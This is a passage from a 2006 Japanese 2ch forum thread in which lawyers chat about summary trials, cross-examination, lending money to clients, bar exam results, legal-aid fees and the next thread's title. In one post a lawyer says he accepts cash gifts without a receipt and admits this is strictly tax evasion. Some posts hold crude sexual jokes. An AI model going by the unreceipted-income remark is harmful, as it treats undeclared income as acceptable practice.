ただ、覚せい剤や不法滞在って、最近はすごく記録が薄くなってきてるでしょ。
被告人の調書も員面だけだし。記録は、起訴されたらすぐに開示されるんじゃないかな?
それに、被害弁償しなきゃ執行猶予が危ないとかいう事案なら、そもそも即決裁判に来ないでしょ。
その場で被害回復されてるとか、捜査段階で被害品が押収されてるとか、そういう事案が即決裁判に来るんじゃ?

要は、いままでの事件のうち、
「記録閲覧して接見に一回行って、公判では被告人質問だけやって使いまわしの弁論要旨を陳述」
という事件が、即決裁判に行くのではないかと。


914 :無責任な名無しさん:2006/06/07(水) 10:36:32 ID:L/XTp9Pu
>>898
いるでしょ。ここ数年地方志向の修習生の絶対数は増えていると思う。

>>911
私は2週間後でも入りそうですがw
即決裁判対象事件って期日さえ入れば大丈夫って事件だし、負担は
そんなに重くないような気がします。
それと、今後の業務ですが、債務整理事件は先細り、それを含めた民事事件は
増員された同業者、他士業との奪い合いになりますよね。
弁護士固有領域として確実なのは刑事事件ってことにもなりかねません。
刑事事件に特化してくる弁護士も増えるでしょうねぇ。

915 :無責任な名無しさん:2006/06/07(水) 11:18:54 ID:QxWXmOqn
俺は自分で言うのも何だが、反対尋問が目茶苦茶うまいんだなぁ。
刑事事件に興味はなく、今ままでほとんどしてこなかったが、裁判員制度には
興味がある。素人の裁判員を惹きつける尋問や弁論をする自信があるんだ。アメリカの
法廷ドラマにも憧れてきたしな。お金もそこそこ貯まったし、これからは食べていけるだけの収入
があればいいので、刑事事件を専門にしようかと考えている。

916 :無責任な名無しさん:2006/06/07(水) 12:43:25 ID:3xA0U6ge
あんたかこいい

917 :無責任な名無しさん:2006/06/07(水) 14:02:43 ID:uSqpLIPn
反対尋問上手いなんてのはうぬぼれだよ
ましてや刑事だろ

918 :無責任な名無しさん:2006/06/07(水) 15:26:21 ID:BVY9A1hE
>>917
甘いなあ。素人が分り易く,アピールできる尋問と,裁判官の心証を崩す尋問は,多くの場合全く異なってくる。
依頼者向けの尋問も又微妙に違う。
その辺の事情をどれだけ考慮して「反対尋問がうまい」なんていってんだろうね。

919 :無責任な名無しさん:2006/06/07(水) 16:01:01 ID:cSP2rV9l
コツは同じだよ。今反対尋問がうまい人は裁判員制度の下でもうまいし、そうでない人は
やはりへただろう。

920 :908:2006/06/07(水) 16:13:35 ID:gX+/LIdf
>>910
ご回答ありがとうございます。

個人的には、今まで微罪等で不起訴処分に付されていた犯罪が即決裁判手続の新設によって起訴に付されることを強く願ってやみません。
法曹三者は大変かもしれませんが。

現実には、起訴猶予を理由とする不起訴に付されても反省していない輩が数多くいますから。

921 :無責任な名無しさん:2006/06/07(水) 16:41:35 ID:L/XTp9Pu
>>918>>919両方正しいように思うな(択一の肢みたいな表現だがw)。
反対尋問がうまい人は、裁判員裁判でもアピールすると思う。
もっとも、裁判員に尋問の趣旨を理解してもらいながら反対尋問を行う
必要があるだろうから、やり方を工夫するべき部分はあると思う。

で、興味があるのは>>915のうまい反対尋問の秘訣。
後学のためにちらりとさわりでも教えてほしい。


922 :無責任な名無しさん:2006/06/07(水) 17:03:56 ID:7noGWp18
でも、刑事裁判は90%が自白事件で、残り10%の否認事件も大半は通る見込みゼロの弁解だからなあ。
反対尋問でなんとかなりそうな否認事件って、100件に一つか二つぐらいのような気がする。


923 :無責任な名無しさん:2006/06/07(水) 17:46:12 ID:vcNnldkQ
>>881
> 会員名簿っていつから郵送のみになったんだ?@答弁
> しかも送料は着払いだって。

ますます官僚化が進んでますね>答弁。
よかった。答弁に登録しなくて。


924 :無責任な名無しさん:2006/06/07(水) 18:14:38 ID:BVY9A1hE
>>923
東弁の会員名簿なんてあったっけ?日弁連じゃなくて?
もう日弁連のサイトで検索すればいいから不要では?

925 :無責任な名無しさん:2006/06/07(水) 19:26:07 ID:h2Hsr63r
破産の依頼者が、泣きながら金を貸してくれというので、
財布に入っている程度の金を貸してあげたのだけど、
なんだかね〜。

926 :行き詰まり弁護士 ◆BAKA/8y6zk :2006/06/07(水) 19:41:18 ID:n9NBaT9s
だいぶ前の話・・・。

ある日突然拘置所の見知らぬ被告人(控訴審)から「先生にぜひ私選をお願いしたい」との
手紙が来た。とりあえず話を聞くと,今はカネがないからカネが入り次第着手金70万円払う
とのこと。
とりあえず弁護人選任届に署名もらって原審の記録を見たら,こいつ,寸借詐欺の前科がある・・・。
で,2度目に接見に行ったところ,当面の生活費として2万貸してほしいという。
ふざけんじゃない。おまえみたいな詐欺師にはだまされるものか。っということで裁判所には
速攻辞任届を提出した。
記録謄写第2万円ちょっとが損失として残った・・・。

927 :881:2006/06/07(水) 19:56:06 ID:YaghasrM
>>924
もちろん日弁連の名簿
過去の所属事務所を知るのには
名簿が必要なんですよ

928 :無責任な名無しさん:2006/06/07(水) 21:00:17 ID:uSqpLIPn
>>925
貸すべきじゃないと思う。
大体破産費用や予納金はどうするんだ。

929 :無責任な名無しさん:2006/06/07(水) 21:01:04 ID:uSqpLIPn
>>926
やっぱ金がしっかりするまで動かないというのが鉄則なんでしょうね

930 :無責任な名無しさん:2006/06/07(水) 21:05:05 ID:jl0Mcuff
俺は貸さないし、着手金の一部でももらわない限り着手しないなぁ。
まぁ例外がないとは言わないけど。
親が全く非協力的だった少年事件で少年に衣服差し入れて当面の小銭
をあげたことはあるけど。
着手金0では動けないって言ったら、じゃあ俺は死ぬしかないんですねとか言った人はいるけど、次の日にしっかり着手金持ってきたなぁw

931 :無責任な名無しさん:2006/06/07(水) 21:07:58 ID:uSqpLIPn
ゴム無しセックスやらせるソープ嬢が一人でもいると,その店の嬢全員がNS可みたいにとられて,他の嬢が困る 的な

932 :無責任な名無しさん:2006/06/07(水) 21:09:37 ID:jl0Mcuff
>>931
すまん、NSは生セックルの略でいいのか?w

933 :無責任な名無しさん:2006/06/07(水) 21:09:40 ID:PCzE5rKm
そもそも依頼者との間での金銭貸借は職務基本規程で御法度のはずだ。
「規則違反だから」といって断っている。

とはいえ,本案勝訴確実であるが仮差の担保が足らないときは,足してあげてるけど。

934 :無責任な名無しさん:2006/06/07(水) 21:10:56 ID:I7+lVWwE
ノースキンだお!

935 :無責任な名無しさん:2006/06/07(水) 21:34:07 ID:Qk2eOE+Y
HIVポジティブが浸透してくるお!

936 :無責任な名無しさん:2006/06/08(木) 01:15:50 ID:ZEMgi8jk
金がすべてじゃないなんて、キレイには言えないわ・・・

937 :無責任な名無しさん:2006/06/08(木) 01:20:13 ID:fEB/RR+H
でもお金で買えないものもある
理解ある上司と愛想のいい窓口担当

938 :無責任な名無しさん:2006/06/08(木) 07:37:58 ID:DTAl+Oej
無銭飲食で起訴され、執行猶予が出た被告人に、「家まで帰る交通費が
ない」と泣きつかれた。
一緒に付いてきた警察署の人まで、「先生、こいつにお金貸してやってくれ。
絶対返すって言ってるからって。
保護観察所に行けばいいと言ってみたが、夕方の判決だったため、今から
一旦拘置所に戻って荷物まとめて出ると、6時くらいになって保護観察所は
やってないから無理、とのこと。
こいつが立ち直るためなんだから、先生は弁護人なんだから本人のために
何とかしてやってくれ、とやんややんやと言われ、しぶしぶ3000円渡すことに
したら、それでは最後まで帰れない、今日宿泊してご飯食べるにも足りない、
こいつがかわいそう、などと言われ、結局1万貸す羽目に。
絶対返ってこないだろうと思ったら、案の定。
お礼の電話一本すらなかった。まあ、予想してたことだから、極力貸したくないし
返ってこなくてもいい金額にとどめたいのに、警察め。

939 :無責任な名無しさん:2006/06/08(木) 08:37:07 ID:+2z352MG
>>938
じゃあ、お前が貸してやれで終了

940 :無責任な名無しさん:2006/06/08(木) 10:07:21 ID:F7NFGnJD
寸借詐欺で告訴w

941 :908:2006/06/08(木) 10:28:53 ID:L9DOTMYx
>>910
あれからググったらどうやら>>910先生のおっしゃるとおりのようです。

ただ不起訴事案が多すぎると思うのは、私だけでしょうか。

942 :無責任な名無しさん:2006/06/08(木) 10:44:51 ID:gMg9ybd9
>>936
兄貴はまだ横浜地裁?

943 :無責任な名無しさん:2006/06/08(木) 10:57:07 ID:2rJGXKW+
執行猶予確実な被告人でも懲らしめるためにある程度勾留した方がいいと思うんだが。

944 :無責任な名無しさん:2006/06/08(木) 12:17:54 ID:k/drJf/p
>943
 そのために税金を使うのももったいないということでは?

945 :無責任な名無しさん:2006/06/08(木) 12:55:20 ID:o4fu4+yP
>>939
久しぶりにスカッとする書き込みを見た。
同意。

946 :無責任な名無しさん:2006/06/08(木) 13:04:01 ID:2rJGXKW+
ならいっそのことアレインメントの導入だな。
公判より捜査の方が金を喰うはず。

947 :無責任な名無しさん:2006/06/08(木) 14:43:42 ID:EM53roij

神奈川県貸金業協会の声明文で紹介されている「公衆接遇弁償費」で何とかしてもらえばよかったのに。
http://www.k-kasikin.or.jp/jougennkinrikisei171220.html


948 :938:2006/06/08(木) 14:52:31 ID:0mo1/mbk
>939
いや、言ったんだよ。それらしいこと。
警察の方でも帰宅分交通費貸したりすることあるじゃないですか。って。
(それは警察官のポケットマネーらしいと聞いていたけど知らないふりで)
そしたら、先生はこの事件でお金入るでしょう、その分を回してやったらいいじゃ
ないですか。って言われたんだよ。
そこまで言われて貸さなかった場合、こちらは地方で警察署も少ないから、今後
陰で勾留している被告人に何を言われるか分かったものじゃないので、仕方なく出した。

949 :無責任な名無しさん:2006/06/08(木) 15:18:24 ID:7kfoHx7e
>>948
お前だってこいつの事件で税金から給料もらってるんだから
その分回してやったら(ry

950 :無責任な名無しさん:2006/06/08(木) 15:29:47 ID:s66osRbv
いまだに警察官は
弁護士を刑事事件で金儲けしてる輩と
思ってるからしょうがないよ

951 :無責任な名無しさん:2006/06/08(木) 20:37:27 ID:lSWZAf3X
久しぶりに司法試験板を覗いてみたら,たまたま今日が択一の発表だったようだ。
択一の合格者が半分になったそうだ。
今の受験生も大変だな・・・


合格者数   3,820人
【対前年度(7,637人)比 3,817人・50.0%減
平均年齢        30.43歳
            最高年齢者         76歳
            最低年齢者         20歳

952 :無責任な名無しさん:2006/06/08(木) 21:41:40 ID:6T2V/wMF
 「捜査の可視化」で一番良い方法を教えてあげよう。



「予審」だよ。


 こんな事を言うと,袋だたきにあうけどね。でも,裁判官が捜査・取調を主催するのが一番現実的な方法と思われ。

953 :無責任な名無しさん:2006/06/08(木) 21:45:51 ID:GyKsD5CP
76歳で択一合格って、めちゃくちゃすごいな

954 :無責任な名無しさん:2006/06/08(木) 22:37:09 ID:6T2V/wMF
>>953
苦節50年

955 :MS754 ◆yGUnQdhyV2 :2006/06/08(木) 23:38:25 ID:WLuhMvht
>>951
私の頃の択一合格者は、そのくらいでした。

ところで、そろそろ次スレということで、次スレのスレタイは、どういたしましょうか
皆さんのご意見をおよせ下さい。その間にテンプレ作っておきます。


956 :MS754 ◆yGUnQdhyV2 :2006/06/08(木) 23:40:47 ID:WLuhMvht
テンプレその1

前スレ↓
【連休中は】弁護士本音talkスレPart22【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1146261889/
注意書き,リンク集などは>>2-10あたりに・・・


957 :無責任な名無しさん:2006/06/08(木) 23:41:12 ID:fEB/RR+H
>>951
しばらく試験情報と離れていました。
私のころは択一2600〜3000人で最終が450人でした。
受けるときは合格者もっと増やせと!叫んでました。
今はリーガルイシューのパイを考えると(ry

958 :MS754 ◆yGUnQdhyV2 :2006/06/08(木) 23:43:38 ID:WLuhMvht
テンプレその2

○こちらは弁護士の方や関係者などの雑談スレになります。
○特定の個人名、事務所名、電話番号、住所などは絶対に書き込まないでください。
○司法試験関係は 「司法試験板」 http://school5.2ch.net/shihou/ がございます。
○法律相談は、最寄りの法律相談センターや弁護士会、各種相談スレまたは下記スレへ。
   やさしい法律相談 Part177
http://school5.2ch.net/test/read.cgi/shikaku/1149606200/
------------------------------------------------------------
○弁護士の本音トークスレです。
 したがって,それ以外の話題,たとえば
 ×弁護士に対する相談
 ×弁護士以外の人の過度のスレ参加
 はなるべくご遠慮ください。
○荒らしは無視の方向でしかるべく。
○なるべくsage進行で。

959 :無責任な名無しさん:2006/06/08(木) 23:43:54 ID:nW7bIEXP
すみません。当方非弁ですが、質問します。

当方民事訴訟の原告ですが、自分の民事訴訟には出来るだけ出廷し訴訟に参加(といっていいのか?)していました。

弁護士さんの立場として、当事者が同席する場合と同席しない場合ではやっぱり熱の入り方や取り組みは変わるのですか?

ちなみに、当事者が同席する場合としない場合ではどちらのほうがよりやりやすいのですか?

960 :MS754 ◆yGUnQdhyV2 :2006/06/08(木) 23:45:24 ID:WLuhMvht
過去スレその1
1:【雑談】弁護士本音talkスレ その2【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1059490362/
2:【雑談】弁護士本音talkスレ その3【ため息】
http://school.2ch.net/test/read.cgi/shikaku/1065526506/
3:【希望】弁護士本音talkスレ その4【失望】
http://school2.2ch.net/test/read.cgi/shikaku/1074280112/
4:【希望】弁護士本音talkスレ その5【失望】
http://school4.2ch.net/test/read.cgi/shikaku/1080568884/
5:【夏期】弁護士本音talkスレ その6【休廷】
http://school4.2ch.net/test/read.cgi/shikaku/1087307654/
6:【夏バテ】弁護士本音talkスレpart7【ビール腹】
http://school4.2ch.net/test/read.cgi/shikaku/1091890714/
7:【ようこそ】弁護士本音talkスレPart8【第58期よ】
http://school4.2ch.net/test/read.cgi/shikaku/1096634157/
8:【諸行】弁護士本音talkスレPart9【無常】
http://school4.2ch.net/test/read.cgi/shikaku/1099052870/
9:【忘年会】弁護士本音talkスレpart10【新年会】
http://school4.2ch.net/test/read.cgi/shikaku/1102088211/
10:【確定】弁護士本音talkスレpart11【申告】
http://school4.2ch.net/test/read.cgi/shikaku/1107791882/
11:【黄金】弁護士本音talkスレpart12【週間】
http://school4.2ch.net/test/read.cgi/shikaku/1113138219/

961 :MS754 ◆yGUnQdhyV2 :2006/06/08(木) 23:47:46 ID:WLuhMvht
過去スレその2
12:【相談は】弁護士本音talkスレpart13【他のスレで】
http://school4.2ch.net/test/read.cgi/shikaku/1115537611/
13:【クールビズ】弁護士本音talkスレpart14【してる?】
http://school5.2ch.net/test/read.cgi/shikaku/1118220156/
14:【国選増額】弁護士本音talkスレ15【熱烈希望】
http://school5.2ch.net/test/read.cgi/shikaku/1122387067/
15:【風立ちぬ】弁護士本音talkスレ16【爽やかに】
http://school5.2ch.net/test/read.cgi/shikaku/1125622482/
16:【WELCOME】弁護士本音talkスレPart17【58期】
http://school5.2ch.net/test/read.cgi/shikaku/1128939534/
17:【食欲の秋】弁護士本音talkスレPart18【ダイエット】
http://school5.2ch.net/test/read.cgi/shikaku/1130480126/
18:【メリー】弁護士本音talkスレPart19【クリスマス】
http://school5.2ch.net/test/read.cgi/shikaku/1133217229/
19:【サヨナラ】弁護士本音talkスレPart20【みなし弁済】
http://school5.2ch.net/test/read.cgi/shikaku/1137164618/
20:【花見は】弁護士本音talkスレPart21【まだか?】
http://school5.2ch.net/test/read.cgi/shikaku/1141830790/
21:【連休中は】弁護士本音talkスレPart22【居留守】
http://school5.2ch.net/test/read.cgi/shikaku/1146261889/

962 :MS754 ◆yGUnQdhyV2 :2006/06/08(木) 23:53:45 ID:WLuhMvht
関連スレ
【ドラマと】事務員本音talkスレ5頁目【大違い】
http://school5.2ch.net/test/read.cgi/shikaku/1145260846/
■裁判官の部屋 その3■
http://school5.2ch.net/test/read.cgi/shikaku/1137575282/
【ピーピー】検事になりたいんですがその12【ゴロゴロ】
http://school5.2ch.net/test/read.cgi/shihou/1147615810/
■若手法曹スレッドpart1■
http://school5.2ch.net/test/read.cgi/shikaku/1112780497/
裁判所書記官だけでマターリしようよ
http://society3.2ch.net/test/read.cgi/koumu/1141056988/

963 :MS754 ◆yGUnQdhyV2 :2006/06/08(木) 23:54:47 ID:WLuhMvht
サイト集は現行のままで・・・。

スレタイよろしくお願いします。

964 :無責任な名無しさん:2006/06/08(木) 23:56:58 ID:qMf8Byf+
国選報酬   引き下げ

965 :無責任な名無しさん:2006/06/09(金) 00:03:06 ID:2SVKz2QA
>>964
でも今日のクレオの話では標準的事件は10万円強で値上げでは?

966 :無責任な名無しさん:2006/06/09(金) 01:25:20 ID:dMxIHbSb
【法テラス】弁護士本音talkスレPart17【契約拒否宣言?】


967 :無責任な名無しさん:2006/06/09(金) 01:28:33 ID:gMKEXDjP
法テラス    報酬ワロス

968 :無責任な名無しさん:2006/06/09(金) 01:36:54 ID:dMxIHbSb
【新刑訴】弁護士本音talkスレPart18【過労死】
【祈長寿】弁護士本音talkスレPart18【ヒマラヤ性豪】


969 :無責任な名無しさん:2006/06/09(金) 01:51:49 ID:gMKEXDjP
怪者法         探鉱法

970 :無責任な名無しさん:2006/06/09(金) 03:26:38 ID:LZw+JwsS
昨日択一合格発表がありました。
というわけで途方にくれてる人間のスレ↓
http://school5.2ch.net/test/read.cgi/shihou/1149776249/

971 :MS754 ◆yGUnQdhyV2 :2006/06/09(金) 06:23:50 ID:i0VVoauI
いくつか、スレタイの候補が上がっていますが、皆さんの賛否をお願いします。

972 :無責任な名無しさん:2006/06/09(金) 07:12:02 ID:xcoaCEig
>>965
それって被疑者段階含んだ金額の希ガス

973 :無責任な名無しさん:2006/06/09(金) 07:30:32 ID:2nHNYQDm
【新法続々】弁護士本音talkスレPart18【ついてける?】

974 :無責任な名無しさん:2006/06/09(金) 10:12:04 ID:2Wp98dFq
スレタイの【】の中身は、前後あわせて、全角で8文字程度が限界だと思われます。

975 :無責任な名無しさん:2006/06/09(金) 12:53:50 ID:xyoKT3HU
質問させてください。
お世話になっている弁護士さんに御礼として
現金を渡したら気を悪くしますでしょうか?




976 :無責任な名無しさん:2006/06/09(金) 12:57:28 ID:bolIEZ5Q
普通は、喜ぶでしょう。
たまに、気を悪くするフリをする人が居ますので、
商品券をお勧めします。 ←←←医者、弁護士に共通。

977 :無責任な名無しさん:2006/06/09(金) 13:00:44 ID:UpW0E/lY
>>975
全然
でも報酬に上乗せすればいいのでは?

978 :無責任な名無しさん:2006/06/09(金) 13:08:52 ID:xyoKT3HU
>>977
ありがとうございます。

最初にお世話になった時、報酬を払わせていただいたのですが、
今回は別件で相談だけで依頼しなくて事がすみました。

別件なのに相談料を取らないというので、
そんな事出来ませんと5250円は支払いましたが、
その後電話でも質問に答えたりしてくれたので、
是非御礼したいと思って悩んでました。
ありがとうございました。

979 :無責任な名無しさん:2006/06/09(金) 13:14:56 ID:xyoKT3HU
>>976

商品券も悩んだのですが、またお世話になるかもしれないので、
5万円くらいは渡したいと思い、商品券より現金のほうがいいかなと。

結婚指輪をしている男の先生なので、
商品券だと奥様に渡しちゃうのかなって^^;

ちなみに医者で本気で断った人は今まで
一人いました。


980 :871:2006/06/09(金) 13:29:10 ID:tja1Rd44
>>977
当方非弁ですが、質問します。
成功報酬って今自由化されているようですが、当方法律扶助協会による法律扶助を受けながら民事訴訟をしています(当方原告)。
着手金は旧日弁連報酬規定に基づいて計算されていますが、お礼の意味も込めて成功報酬はいくらか上乗せしたいと考えています。
私にとっては、結構大変ですが、弁護士さんにとってはペイの少ない事件ですし、決して満足できるような着手金かもしれません。
法律扶助協会による法律扶助を受けながら成功報酬を上乗せすることは可能ですか?

981 :無責任な名無しさん:2006/06/09(金) 13:41:31 ID:BQ1TMIkB
>>980
扶助協会による扶助を受けているなら
扶助協会に返済してあげてください

982 :無責任な名無しさん:2006/06/09(金) 13:43:10 ID:0ek4/4c7
なんだっけか、今のは畠山容疑者についてる弁護士とか、麻原についてる弁護士とかは弁護するのを拒否できないの?

983 :938:2006/06/09(金) 13:47:55 ID:98Haeo9o
>979
現金の方が確実に奥に行くだろう。

984 :無責任な名無しさん:2006/06/09(金) 14:06:23 ID:BQ1TMIkB
ヤギ被告に死刑求刑って
P庁は被害者の処罰感情に迎合しすぎじゃないか?
ここんとこ死刑求刑が多すぎる

985 :無責任な名無しさん:2006/06/09(金) 14:14:12 ID:pbIuTr3A
弁護士求人に関する緊急調査w
新規登録者急増は弁護士全体の緊急の問題ですとか今更いわれても
再送までして調査するくらいなら、増員を決める前にやれって

>>984
非弁?

986 :MS754 ◆yGUnQdhyV2 :2006/06/09(金) 15:02:04 ID:2Wp98dFq
次スレです↓
【新法続々】弁護士本音talkスレPart23【日々勉強】
http://school5.2ch.net/test/read.cgi/shikaku/1149832472/

スレタイは長さの関係もあったので、上記のようにしました。
ご了解ください。

987 :無責任な名無しさん:2006/06/09(金) 16:56:40 ID:7BtFP/bS
手渡しされた現金だけが奥に内緒の小遣い。


988 :無責任な名無しさん:2006/06/09(金) 17:03:33 ID:98Haeo9o
>987
それは脱税ってもんでございましょう。

989 :無責任な名無しさん:2006/06/09(金) 17:29:20 ID:lrYs1wOh
とりあえず、報酬金は約束どおり頂いているからそれ以上はいりませんという。
それでも、受け取って欲しいという人には、「じゃあ、お布施として、領収書出しませんがいいですか」という。

厳密に言えば、たしかに脱税だろうな。大した金額じゃないから、年間トータルでみたとき、
申告時に影響がどのくらいあるか分からないが。

闇勢力に支払った調査費を経費として計上するよりマシだと言ってみるテスト。

990 :無責任な名無しさん:2006/06/09(金) 19:55:22 ID:okHrGJB6
MS先生最近ROM専だったの?

991 :無責任な名無しさん:2006/06/09(金) 21:27:40 ID:bolIEZ5Q
恒例の「正義と人権」が届きました。
これも恒例の、最後から(最後だけ?)読みました。

p170のケースは、蔑称「伝書鳩」と言います。
これまでは、アメリカでは珍しくもないことだし、
日本でもヤクザ専門の弁護士の大半は、これで稼いでいました。
(だから、ヤクザ弁護士、高利貸し弁護士は軽蔑されてきたのです。)

しかし、これからは、平成弁護士の落ちこぼれどころか、
毎年、3,000人も生まれてくる大半の弁護士がこのような誘惑に、
やむなく転落していくのかと・・・・。

ちなみに、アメリカでは、弁護士は軽蔑される職業の一つで、
一般人から見れば、詐欺師の別称とも言われています。
そういえば、「三百代言」という日本語が復活しそうですね。

992 :無責任な名無しさん:2006/06/09(金) 21:34:14 ID:bolIEZ5Q
追記
いずれ近未来には、「弁護士及び弁護士界を法務局長又は地方法務局長の監督下に置く」
なんて法制化されそう。
ちなみに、戦前は地方裁判所長の監督下にありました。

○坊さんやその系列下にある「理事者」先生方は、
このようなことを想定していたんですかね。



993 :無責任な名無しさん:2006/06/09(金) 21:51:03 ID:eh0Egs4g
「正義と人権」?

994 :無責任な名無しさん:2006/06/09(金) 22:13:06 ID:gMKEXDjP
でもさ、我侭一杯の日弁連幹部の指揮監督なんて
法務省側が、不可能を強いられるって断ったりしてw

995 :MS754 ◆yGUnQdhyV2 :2006/06/09(金) 22:55:05 ID:i0VVoauI
>>990
そんなところです。他板が忙しかったもので。

996 :無責任な名無しさん:2006/06/09(金) 23:11:13 ID:WpOBG90r
さて。こちらは埋めましょうか。

997 :無責任な名無しさん:2006/06/09(金) 23:12:25 ID:WpOBG90r
埋め立て。

998 :無責任な名無しさん:2006/06/09(金) 23:13:02 ID:WpOBG90r
次スレは
>>986
こちら。

999 :無責任な名無しさん:2006/06/09(金) 23:13:34 ID:WpOBG90r
もうそろそろ、

1000 :無責任な名無しさん:2006/06/09(金) 23:14:05 ID:WpOBG90r
W杯開幕です。

1001 :1001:Over 1000 Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。

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